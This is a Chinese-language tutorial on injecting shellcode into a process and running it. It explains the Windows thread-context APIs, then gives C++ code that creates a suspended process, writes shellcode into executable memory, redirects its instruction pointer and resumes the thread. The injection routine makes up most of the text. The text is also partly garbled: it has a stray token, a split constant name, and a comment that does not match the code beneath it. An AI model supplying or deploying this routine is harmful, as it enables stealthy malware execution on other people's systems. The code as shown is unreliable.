C++强制让⽬标进程执⾏⾃⼰的ShellCode
函数介绍
GetThreadContext
// 如果函数成功,则返回值不为零。
BOOL WINAPI GetThreadContext(
_In_    HANDLE    hThread,// 要检索其上下⽂的线程的句柄。
_Inout_ LPCONTEXT lpContext  // 指向 CONTEXT 结构的指针。
);
SetThreadContext
// 如果设置了上下⽂,则返回值为⾮零。
BOOL WINAPI SetThreadContext(
_In_      HANDLE  hThread,// 线程的句柄,其上下⽂将被设置。
_In_ const CONTEXT *lpContext  // 指向包含要在指定线程中设置的上下⽂的CONTEXT结构的指针。
);
ResumeThread
// 如果函数成功,则返回值是线程先前的挂起计数。
DWORD WINAPI ResumeThread(
_In_ HANDLE hThread    // 要重新启动的线程的句柄。
);
实现原理
⾸先,使⽤ CreateProcess 函数创建进程,并且设置创建进程的标志为 CREATE_SUSPENDED,即表⽰新进程的主线程被挂起。
然后,使⽤ VirtualAllocEx 函数在新进程中申请⼀块可读、可写、可执⾏的内存,并使⽤ WriteProcessMemory 函数写⼊Shellcode 数据。
接着,使⽤ GetThreadContext,设置获取标志为 CONTEXT_FULL,即获取新进程中所有的线程上下⽂。并修改线程上下⽂的指令指针 EIP 的值,更改主线程的执⾏顺序。再将修改过的线程上下⽂设置回主线程中。
最后,我们调⽤ ResumeThread 恢复主线程,让进程按照修改后的 EIP 继续运⾏,执⾏我们的 Shellcode 代码。
其中,当使⽤ CreateProcess 创建进程时,创建标志为 CREATE_SUSPENDED,则表⽰新进程的主线程被创建为挂起状态,直到使⽤ResumeThread 函数恢复主线程,进程才会继续运⾏。
其中,要注意的是,在使⽤ GetThreadContext 获取线程上下⽂的时候,⼀定要对 CONTEXT 机构中的 ContextFlags 成员赋值,表⽰指明要检索线程的上下⽂的哪些部分,否则会导致程序实现不到想要的效果。我们可以指明 CONTEXT_FULL,表⽰获取所有的线程上下⽂信息。
编码实现
// 创建进程并替换进程内存数据, 更改执⾏顺序
BOOL ReplaceProcess(char*pszFilePath, PVOID pReplaceData, DWORD dwReplaceDataSize, DWORD dwRunOffset)
{
STARTUPINFO si ={0};
PROCESS_INFORMATION pi ={0};
CONTEXT threadContext ={0};
BOOL bRet = FALSE;
::RtlZeroMemory(&si,sizeof(si));
::RtlZeroMemory(&pi,sizeof(pi));
::RtlZeroMemory(&threadContext,sizeof(threadContext));
si.cb =sizeof(si);
// 创建进程并挂起主线程
bRet =::CreateProcess(pszFilePath,NULL,NULL,NULL, FALSE, CREATE_SUSPENDED,NULL,NULL,&si,&pi);
if(FALSE == bRet)
{
ShowError("CreateProcess");
return FALSE;
}
// 在替换的进程中申请⼀块内存
LPVOID lpDestBaseAddr =::VirtualAllocEx(pi.hProcess,NULL, dwReplaceDataSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRI TE);
if(NULL== lpDestBaseAddr)
{
ShowError("VirtualAllocEx");
return FALSE;
}
// 写⼊替换的数据
bRet =::WriteProcessMemory(pi.hProcess, lpDestBaseAddr, pReplaceData, dwReplaceDataSize,NULL);
if(FALSE == bRet)
{
ShowError("WriteProcessError");
return FALSE;
}
// 获取线程上下⽂
createprocessa// 注意此处标志,⼀定要写
threadContext.ContextFlags = CONTEXT_FULL;
bRet =::GetThreadContext(pi.hThread,&threadContext);
if(FALSE == bRet)
{
ShowError("GetThreadContext");
return FALSE;
}
// 修改进程的PE⽂件的⼊⼝地址以及映像⼤⼩,先获取原来进程PE结构的加载基址
threadContext.Eip =(DWORD)lpDestBaseAddr + dwRunOffset;
// 设置挂起进程的线程上下⽂
bRet =::SetThreadContext(pi.hThread,&threadContext);
if(FALSE == bRet)
{
ShowError("SetThreadContext");
return FALSE;
}
// 恢复挂起的进程的线程
::ResumeThread(pi.hThread);
return TRUE;
}
效果图:

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。